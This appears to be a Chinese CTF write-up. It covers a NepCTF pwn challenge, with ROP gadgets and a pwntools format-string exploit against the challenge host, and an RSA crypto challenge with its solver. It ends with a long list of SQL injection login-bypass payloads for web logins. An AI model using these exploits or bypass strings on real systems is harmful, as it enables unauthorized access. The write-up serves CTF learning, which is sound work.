当执行__libc_csu_init(.text:0000000000401285 jz short loc_4012A6)是先执行loc_4012A6:，再loc_401290:
1 2 3 4 5 6 7 8 9
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j .text:00000000004012A6 add rsp, 8 .text:00000000004012AA pop rbx .text:00000000004012AB pop rbp .text:00000000004012AC pop r12 .text:00000000004012AE pop r13 .text:00000000004012B0 pop r14 .text:00000000004012B2 pop r15 .text:00000000004012B4 retn
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
开启NX不能直接注入shellcode
这里找不到pop rdi; ret, pop rsi; ret, pop rdx; ret但是有__libc_csu_init
1 2 3 4 5 6 7 8 9 10 11 12 13 14
Gadgets information ============================================================ 0x00000000004012ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004012ae : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004012b0 : pop r14 ; pop r15 ; ret 0x00000000004012b2 : pop r15 ; ret 0x00000000004012ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004012af : pop rbp ; pop r14 ; pop r15 ; ret 0x000000000040115d : pop rbp ; ret 0x00000000004012b3 : pop rdi ; ret 0x00000000004012b1 : pop rsi ; pop r15 ; ret 0x00000000004012ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040101a : ret 0x00000000004011ba : ret 0xfffe
v2 = __readfsqword(0x28u); puts("please input your name:"); __isoc99_scanf("%100s", byte_50A0); puts("I will tell you all file names in the current directory!"); argv[0] = "/bin/ls"; argv[1] = "/"; argv[2] = "-al"; argv[3] = 0LL; if ( !fork() ) execve("/bin/ls", argv, 0LL); wait(0LL); puts("good luck :-)"); return v2 - __readfsqword(0x28u); }
sub_2B0F
1 2 3 4 5 6 7 8 9
__int64 sub_2B0F() { puts("input file name you want to read:"); __isoc99_scanf("%s", file); if ( !strstr(file, "flag") ) return1LL; puts("flag is not allowed!"); return0LL; }
from pwn import * #io=process('./pwn') context.log_level='debug' io=remote("nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com",443,ssl=True,sni="nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com") defbug(): gdb.attach(io) name=f"%{12+9}$p".encode() for i inrange(0x10): name+=f"-%{13+9+i}$p".encode() io.sendlineafter(b"please input your name:\n",name) file=b"time" io.sendlineafter(b"input file name you want to read:\n",file) io.sendlineafter(b"input file name you want to read:\n",b"flag") io.interactive()
官方exp
1 2 3 4 5 6 7 8 9
from pwn import * context.log_level='debug' p = process("./time") p.sendlineafter(b'name:\n', b'%28$p.%27$p.%26$p.%25$p.%24$p.%23$p.%22$p.%21$p.%20$p') p.sendline(b'a'*1000000) p.sendline(b'./flag') p.recvall() p.close()
from Crypto.Util.number import getPrime, bytes_to_long from random import randint from sympy import totient from secret import flag
defpower_tower_mod(a, k, m): # a↑↑k mod m if k == 1: return a % m exp = power_tower_mod(a, k - 1, totient(m)) returnpow(a, int(exp), int(m))
p = getPrime(512) q = getPrime(512) r = 123456 n = p * q e = 65537 n_phi= p+q-1 x=power_tower_mod(n_phi + 1, r, pow(n_phi, 3)) m = bytes_to_long(flag) c = pow(m, e, n)
''' n = 128523866891628647198256249821889078729612915602126813095353326058434117743331117354307769466834709121615383318360553158180793808091715290853250784591576293353438657705902690576369228616974691526529115840225288717188674903706286837772359866451871219784305209267680502055721789166823585304852101129034033822731 e = 65537 c = 125986017030189249606833383146319528808010980928552142070952791820726011301355101112751401734059277025967527782109331573869703458333443026446504541008332002497683482554529670817491746530944661661838872530737844860894779846008432862757182462997411607513582892540745324152395112372620247143278397038318619295886 x = 522964948416919148730075013940176144502085141572251634384238148239059418865743755566045480035498265634350869368780682933647857349700575757065055513839460630399915983325017019073643523849095374946914449481491243177810902947558024707988938268598599450358141276922628627391081922608389234345668009502520912713141 '''
1 2 3 4 5
x = 1 + n_phi + n_phi^2 n_phi = (-1 + sqrt(4*x - 3)) // 2 n_phi = p + q - 1 φ(n) = (p-1)*(q-1) = n + n_phi d = pow(e, -1, φ(n))
from math import isqrt from Crypto.Util.number import long_to_bytes
n = 128523866891628647198256249821889078729612915602126813095353326058434117743331117354307769466834709121615383318360553158180793808091715290853250784591576293353438657705902690576369228616974691526529115840225288717188674903706286837772359866451871219784305209267680502055721789166823585304852101129034033822731 e = 65537 c = 125986017030189249606833383146319528808010980928552142070952791820726011301355101112751401734059277025967527782109331573869703458333443026446504541008332002497683482554529670817491746530944661661838872530737844860894779846008432862757182462997411607513582892540745324152395112372620247143278397038318619295886 x = 522964948416919148730075013940176144502085141572251634384238148239059418865743755566045480035498265634350869368780682933647857349700575757065055513839460630399915983325017019073643523849095374946914449481491243177810902947558024707988938268598599450358141276922628627391081922608389234345668009502520912713141
# Calculate n_phi from x temp = 4 * x - 3 root = isqrt(temp) n_phi = (root - 1) // 2
# Calculate φ(n) phi_n = n - n_phi
# Calculate private exponent d d = pow(e, -1, phi_n)
# Decrypt c m = pow(c, d, n)
# Convert to bytes flag = long_to_bytes(m) print(flag)
' or 1='1 'or'='or' admin admin'-- admin' or 4=4-- admin' or '1'='1'-- admin888 "or "a"="a admin' or 2=2# a' having 1=1# a' having 1=1-- admin' or '2'='2 ')or('a'='a or 4=4-- c a'or' 4=4-- "or 4=4-- 'or'a'='a "or"="a'='a 'or''=' 'or'='or' 1 or '1'='1'=1 1 or '1'='1' or 4=4 'OR 4=4%00 "or 4=4%00 'xor admin' UNION Select 1,1,1 FROM admin Where ''=' 1 -1%cf' union select 1,1,1 as password,1,1,1 %23 1 17..admin' or 'a'='a 密码随便 'or'='or' 'or 4=4/* something ' OR '1'='1 1'or'1'='1 admin' OR 4=4/* 1'or'1'='1
asp aspx万能密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
1：”or “a”=”a 2： ‘)or(‘a’=’a 3：or 1=1– 4：’or 1=1– 5：a’or’ 1=1– 6：”or 1=1– 7：’or’a’=’a 8：”or”=”a’=’a 9：’or”=’ 10：’or’=’or’ 11: 1 or ‘1’=’1’=1 12: 1 or ‘1’=’1’ or 1=1 13: ‘OR 1=1%00 14: “or 1=1%00 15: ‘xor 16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ （替换表名admin） 密码 1 17…admin’ or ‘a’=’a 密码随便
